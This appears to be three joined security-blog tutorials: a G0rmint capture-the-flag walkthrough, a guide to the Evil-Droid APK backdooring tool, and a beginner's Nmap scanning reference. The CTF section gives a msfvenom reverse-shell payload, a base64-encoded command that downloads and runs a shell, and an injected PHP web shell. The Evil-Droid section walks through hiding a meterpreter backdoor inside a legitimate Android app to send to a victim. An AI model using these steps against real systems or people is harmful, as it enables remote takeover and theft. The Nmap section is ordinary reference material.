Hack the G0rmint VM (CTF Challenge)

Hello friends! Today we are going to take another CTF challenge known as G0rmint. The credit for making this vm machine goes to “Noman Riffat” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM here.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.134 but you will have to find your own)
netdiscover


Use nmap for port enumeration.
nmap 192.168.1.134


Nmap scan shows us port 80 is open, so we open the ip address in our browser.
We don’t find anything any page. So we use dirb to find the directories for more information.

dirb http://192.168.1.134/


We open robots.txt and find a directory called /g0rmint/


When we open the directory we find a login page.


We take a look at the source code for more information.


When we take a look at the source code we find a backup directory called s3cretbackupdirectory/ We use dirb to enumerate files or pages in that directory.


We find a page called info.php when we open it we find a file name backup.zip.


We download the file for further information.


We extract the zip file and find that the file contains the source code for the webpage.


Now we take look inside style.css and we look at the name of the author.
cat style.css | grep Author


We use these details as username and email for reset password.


We now take a look at reset.php file.


We find that the new password is based on the time we reset our password. We create a  php file that generates a password based on the time displayed on the page.


Now we generate the password using our php script.


We go to the login page and use the email we find in the css file and use the password we just generated to login.


Now that we are authorized we take a look at the log file. In the config.php  we find that the logs are stored in s3r3t-dir3ct0ry-f0r-l0gs/ directory in the file name  format yy-mm-dd.php


Now we use the current date to open the log file.


Now we use upload basic php shell through email address. We put base64 decode so that we can bypass input firewall.


Now we convert our commands to base64, then we use those base64 encoded string to execute our command in the server.

When we execute our command the server runs it and we are able to see the files in that directory of the server.


Now we create an elf shell with msfvenom.
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.116 lport=4444 -f elf > /var/www/html/shell
To upload our shell, we convert our commands to base64.
echo ‘wget http://192.168.1.116/shell; chmod +x shell; ./shell’ | base64


Now we setup our listener using metasploit.
msf > use multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.116
msf exploit(handler) > set lport 4444
msf exploit(handler) > run

Now when we execute our command we get our reverse_shell


Now going through the files in the /var/www folder we find a file called backup.zip. when we try to extract it we find that it can be only extracted in tmp folder so we extract the zip file in /tmp/ folder.
unzip backup.zip -d /var/tmp


After extracting the zip file, we take a look inside the folder we extracted the files we find a sql file.


When we open the file we find a md5 encode password for the user g0rmint.
cat /var/tmp/db.sql | grep noman


Then we when we decrypt our md5 encode hash we find a password ‘tayyab123’.


We use this to connect through ssh.
After connecting through ssh we use this password to gain root access.
When we get root access we go to root folder inside the root folder we get a file called flag.txt. when we open the file we get a congratulatory message for the completion of VM.

Android Mobile Exploitation with Evil-Droid

Hello friends! Today you will learn how to generate apk payload with help of “Evil-Droid”. It is the tool use to compromise any android deceive for attacking point, we are using it only for educational purpose.

Evil-Droid is a framework that creates & generates & embed apk payload to penetrate android platforms.
Requirement:
Attacker: Kali Linux
Target: Android

Lets Begin !!
Open the terminal in your kali Linux and execute given below command to download it from git hub.

git clone https://github.com/M4sc3r4n0/Evil-Droid.git


Now open the downloaded folder in terminal and type given below command to give all permission to the script “evil-droid”
chmod 777 evil-droid


Now execute given below command to run the script and lunch the evil-droid application.
./evil-droid


When you will execute above command evil-droid will start as shown in given below image. Here it will start from testing internet connection and its dependencies from available kali Linux tool by its own.


Then a prompt will pop up to confirm Evil droid framework requirement, here select option “yes”.


Now Evil droid framework will get open to hack remote android platform by execute given below options.
[1] APK MSF                                    
[2] BACKDOOR APK ORIGINAL (OLD)                
[3] BACKDOOR APK ORIGINAL (NEW)                
[4] BYPASS AV APK (ICON CHANGE)                
[5] START LISTENER                             
[c] CLEAN                                       
[q] QUIT                                       
[?] Select

From given below image you can perceive that we had choose option as “BACKDOOR APK ORIGINAL”




After that again a prompt will pop up in order to set LPORT for reverse connection as shown in given below image.


In next prompt enter payload name you want to give to your apk payload as shown in given below image. Here I had given baidu-broswer name to my payload.


Here I had selected “android/meterpreter/reverse_http” as payload.


Now download any original apk file from Google in order to hide your payload in that file. Here I had downloaded baidu.apk to hide my baidu-browser payload inside it; you can download any other apk file of your choice.


This will now generate a malicious baidu.apk by hiding our backdoor inside it as shown in given below image. Now copy this malicious apk from given path /root/Evil-Droid/evilapk/baidu-browser.apk and send it to victim.


On other hand another prompt will pop up to choose following option:
·         Multi-Handler
·         Attack-vector
·         Main menu
·         Exit

From given below image you can observe that I had choose “multi handler” for reverse connection of victims system.




Great!! From given below image you can observe meterpreter session 1 is opened
Meterpreter> sysinfo


NMAP Network Scanning (Beginner)

Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. 
For detail visit nmap.org

Host Scan
Host scan is used by penetration tester to identify active host in a network by sending ARP request packets to all system in that network. As result it will show a message “Host is up” by receiving MAC address from each active host. 

Syntax: nmap -sP
             nmap -sn
Above syntax describes how to execute a host scan, to discover live hosts in a network by using Nmap. By default nmap is in-built in kali Linux, now open the terminal and enter the following command which will send ARP request packet to each system one-by-one.

nmap -sP 192.168.1.1-225


From given below image you can observe result of response generated by nmap for active host.


How it Works
Nmap uses the –sP/-sn flag for host scan and broadcast ARP request packet to identify IP allocated to particular host machine.
It will broadcast ARP request for a particular IP [suppose 192.168.1.100] in that network which can be the part of IP range [192.168.1.1-225] or CIDR [192.168.1.1/24 for class C] is used to indicate that we want to scan all the 256 IPs in our network. After then active host will unicast ARP packet by sending its MAC address as reply which gives a message Host is up.



Port scan /TCP scan
If penetration testers want to identify open or close state of a particular port on target machine then they should go with nmap port scan.
Port Status: After scanning, you may see some results with a port status like filtered, open, closed, etc. Let me explain this.
§  Open: This indicates that an application is listening for connections on this port.
§  Closed: This indicates that the probes were received but there is no application listening on this port.
§  Filtered: This indicates that the probes were not received and the state could not be established. It also indicates that the probes are being dropped by some kind of filtering.
§  Unfiltered: This indicates that the probes were received but a state could not be established.
§  Open/Filtered: This indicates that the port was filtered or open but Nmap couldn’t establish the state.
§  Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn’t establish the state.

Syntax: nmap -p [port number]
             nmap -sT [port number]

nmap -p135 192.168.1.127
Above command will try to connect with port 135 as result if port is open then it will display state “open” as well as “service” running on that particular port.


How it Works
Nmap uses the argument -p for defining the port range to be scanned. This flag can be combined with any scanning method. In the above example, we used the argument –p135 to indicate to Nmap that we are only interested in port 135. You can apply it the CIDR /24 in 192.168.1.1/24 which is used to indicate that we want to scan all of the 256 IPs in our network.
There are several accepted formats for the argument –p:
PORT LIST                                                                        
nmap -p135,139  192.168.1.127
If penetration testers want to scan more than one port of target then they should go with Port list scan where they can add multiple ports for scanning. This scan is quite useful to identify state of multiple selected ports which also describe status “host is up” if any single port is found to be opened.

PORT RANGE:
Using port range scan you can scan a particular range of ports of target network as per your requirement.
nmap -p1-1000 192.168.1.127
Above command will perform scanning from port number 1 to till port number 1000 and identify the state and service for open ports.


ALL PORTS:
If penetration testers want to scan all 65535 ports; then they should execute given below command which will enumerates the open ports of target system:
Syntax: nmap -p-
Above syntax is used for scanning all ports of target network, keep patience while executing above format because it will take some time to enumerate open port or you can also execute given below command which uses parameter “--open” to perform same task in order to save time.
nmap –p1-65535 192.168.1.127 --open


SPECIFIC PORTS by PROTOCOLS:
By default port scan prefer to enumerate the state of TCP ports but if you want to scan TCP port as well as UDP port then execute following command given below:
Syntax: nmap -pT:25,U:53
PORTS SERVICE NAME:
If you don’t known accurate port number for enumeration then you can also mention service name for port state scanning .

Syntax: nmap –p[service]
nmap -p msrpc 192.168.1.127

From given image you can observe that same result has been obtained by executing above command without referring any port number.


UDP Scan
UDP services are mostly ignored during penetration tests, but fine penetration testers know that they often expose host essential information or can even be vulnerable moreover used to compromise a host. This method demonstrates how to utilize Nmap to list all open UDP ports on a host.
Syntax: nmap –sU
Nmap –sU 192.168.1.127
From given below image you can observe the result for UDP port scan.


nmap -sU -p 137 192.168.1.127
In order to scan particular UDP port it is suggested that you should use the flag -p for Port selection. Here you can observe that we have chosen port 137 which is a UDP port for NetBIOS service.
There are so many way to perform UDP scan as per your requirement, for example read given below method to perform UDP scan:

UDP PORT RANGE
If you want to scan multiple UDP ports or range of UDP ports then use –p flag to address the range of port.
Syntax: nmap -p1-500 -sU

ALL UDP PORT
Syntax: nmap -sU -p-
Above syntax is applicable for scanning all UDP ports of target’s network.

How it Works

UDP scan works by sending a UDP packet to every destination port and analyzes the response to determine the port's state; it is a connection less protocol. For some common ports such as 53 and 161, a protocol-specific payload is sent to increase response rate, a service will respond with a UDP packet, proving that it is “open”. If the port is “closed”, an ICMP Port Unreachable message is received from the target. If no response is received after retransmissions, the port is classified as “open|filtered”. This means that the port could be open, or perhaps packet filters are blocking the communication.

OS Detection Scan
Apart from open port enumeration nmap is quite useful in OS fingerprinting. This scan very helpful to penetration tester in order to conclude possible security vulnerabilities and determining the available system calls to set the specific exploit payloads.

Syntax: nmap -O
nmap -O 192.168.1.127

Above command will dump following information:

Device type: All fingerprints are classified with one or more high-level device types, such as router, printer, firewall, general purpose. These are further described in the section called “Device and OS classification (Class lines)”. If you notice given below image here “Device Type: general purpose”.
Running: This field is also related to the OS classification scheme described in the section called “Device and OS classification (Class lines)”. It shows the OS Family (Windows in this case) and OS generation if available. If there are multiple OS families, they are separated by commas. When Nmap can't narrow down OS generations to one specific choice, options are separated by the pipe symbol ('|') Examples include OpenBSD 3.X, NetBSD 3.X|4.X and Linux 2.4.X|2.5.X|2.6.X.
If you will image given below again then here you will observe OS generations is specified as 7|2008|8.1

OS CPE: This shows a Common Platform Enumeration (CPE) representation of the operating system when available. It may also have a CPE representation of the hardware type. OS CPE begins with cpe:/o and hardware CPE begins with cpe:/h.

OS details: This line gives the detailed description for each fingerprint that matches. While the Device type and Running lines are from predefined enumerated lists that are easy to parse by a computer, the OS details line contains free-form data which is useful to a human reading the report. This can include more exact version numbers, device models, and architectures specific to a given fingerprint.


How it Works
The option -O inform Nmap to enable OS detection that identify a wide variety of systems, including residential routers, IP webcams, operating systems, and many other hardware devices
You can also execute following command for os detection
Syntax: nmap -O -p- --osscan-guess
In case OS detection fails, you can use the argument –osscan-guess to try to guess the operating system:
To launch OS detection only when the scan conditions are ideal, uses the argument --osscan-limit:
Syntax: nmap -O --osscan-limit


Version Scan
When doing vulnerability assessments of your companies or clients, you really want to know which mail and DNS servers and versions are running. Having an accurate version number helps dramatically in determining which exploits a server is vulnerable to. Version detection helps you obtain this information. Fingerprinting a service may also reveal additional information about a target, such as available modules and specific protocol information. Version scan is also categories as “Banner Grabbing” in penetration testing.

Syntax: nmap -sV

Following command will dump the result for installed version of running services of target’s machine.
nmap –sV 192.168.1.127
From given below image you can observed that it has shown current installed version of running application. . Additional information will be enclosed in parenthesis. The hostname field and two more fields that version detection can discover are operating system and device type is reported on a Service Info line following the port table.


Specific Port Version scan
For scanning version of a particular port or service you can use argument –p in the command as shown below.
Syntax: nmap -sV -p135

How it Works
The –sV flag inform nmap to works by sending different query from nmap-service-probes to the list of assumed open ports for banner grabbing. As result it will give output as table which has an additional column named VERSION, displaying the particular service version. Additional information will be enclosed in parenthesis.

Protocol Scan
IP Protocol scan is quite helpful for determining what communication protocols are being used by a host. This method shows how to use Nmap to enumerate all of the IP protocols, where sends a raw IP packet without any additional protocol header, to each protocol on the target machine. For the IP protocols TCP, ICMP, UDP, IGMP, and SCTP, Nmap will set valid header values but for the rest, an empty IP packet will be used.

Syntax: nmap -sO
The results will show what protocols are supported, along with their states.
nmap -sO 192.168.1.254
From given below image you can observer the result of protocol scan for open and open|filtered state.


How it Works
The flag -sO tells Nmap to perform an IP Protocol Scan, This kind of scan repeat throughout the protocols found in the file nmap-protocols, and creates IP packets for every entry.
To verify the port state, Nmap categorize the different responses received, as follows:

·         When it received an ICMP protocol unreachable error type=3 or code=2, the port state is marked as “closed”.
·         ICMP unreachable errors type=3 or code 1,3,9,10 or 13 indicate that a port state is “filtered”.
·         If no response is received, the port state is marked as “filtered|open”.
·         Any other response will cause the port state to be marked as “opened”.

To specify what protocols should be scanned, we could set the argument -p:
Syntax: nmap -p1,3,5 -sO
 nmap -p1-10 -sO

Fast Scan
The -F option scans only those ports listed in the nmap_services file (or the protocols file if the scan type is -sO). This is far faster than scanning all 65,535 ports.
If you will compare scanned time from above scanned result you will notice time difference between these scans, moreover it has not shown open ports of other running services which above scan has shown.

Syntax: nmap –F

nmap –F 192.168.1.127
From given below image you can observe scanned time: 14.42 seconds where as in above scanning method [protocol scan] scanned time: 307.45 seconds


Timing Template Scan

The main timing option is set through the -T parameter if you may want more control over the timing in order get the scan over and done with quicker. However, Nmap adjusts its timings automatically depending on network speed and response times of the victim.
Nmap offers a simpler approach, with six timing templates. You can specify them with the -T option and their number (0–5) or their name as shown below:

T0: paranoid
T1: sneaky
T2: polite 
T3: normal
T4: aggressive
T5: insane

Syntax: nmap T[option]
nmap –T4 192.168.1.127
Above command will perform aggressive scan and reduce scanning timing for enumeration of target’s system, here from given below image you can observe scanned time: 14.36 seconds.


Exclude Scan
There will be circumstances where host exception is required to avoid scanning of certain machines. Such as government website or IP, you may not have the authorization, or might that the host has been already scanned. Nmap option --exclude help you to eliminate a host or list of hosts from complete network scan.
Syntax: nmap --exclude
Above syntax defines that from given range of IPs do not perform scanning for excluded target IP else dump the scanned result for remaining IPs.

Nmap –F 192.168.1.110-255 --exclude 192.168.1.114
Above command will perform scan for al IPs between 192.168.1.110 and 192.168.1.255 except “192.168.1.114” which you can confirm from given below image.


How it works
The arguments –F --exclude 192.168.1.114 inform Nmap to perform fast scanning for all IPs [between 192.168.1.110 and 192.168.1.255] in this private network, excluding the machines with the IPs 192.168.1.114.
nmap -sV -O --exclude-file remove.txt 192.168.1.1/24
Excluding a host list from your scans Nmap also supports the argument --exclude-file in order to exclude the targets listed in

Aggressive Scan
This option enables additional advanced and aggressive options. Presently this enables OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (--traceroute). This option only enables features, and not timing options (such as -T4) or verbosity options (-v) that you might want as well. You can see this by using one of the following commands:

Syntax: nmap -A
nmap –A 192.168.1.127

If you will notice given below image then you will observe that the result obtain by it is the combination of multiple scan. As its dump “version” of running application, “OS fingerprint”, “traceroute” and “host script scanning”g which is showing some very essential information related to host system.


How it Works
The argument –A inform nmap to perform advance aggressive scan to enumerate version of running service, OS detection, traceroute of hop and host script scanning of host machine. Therefore it will take some time in scanning, you can add –T4 timing template to increase the rate of scanning.

List Scan
When you want to scan multiple host to perform more than one scanning then –iL option is used which support nmap to load the targets from an external file. Only you need to add all targeted IP in a text file and save it at a location.


To load the targets from the file targets.txt, the following command can be used:
Syntax: nmap -iL targets.txt [path of file]
nmap –iL /root/Desktop/scan.txt


https://nmap.org/book/osdetect-usage.html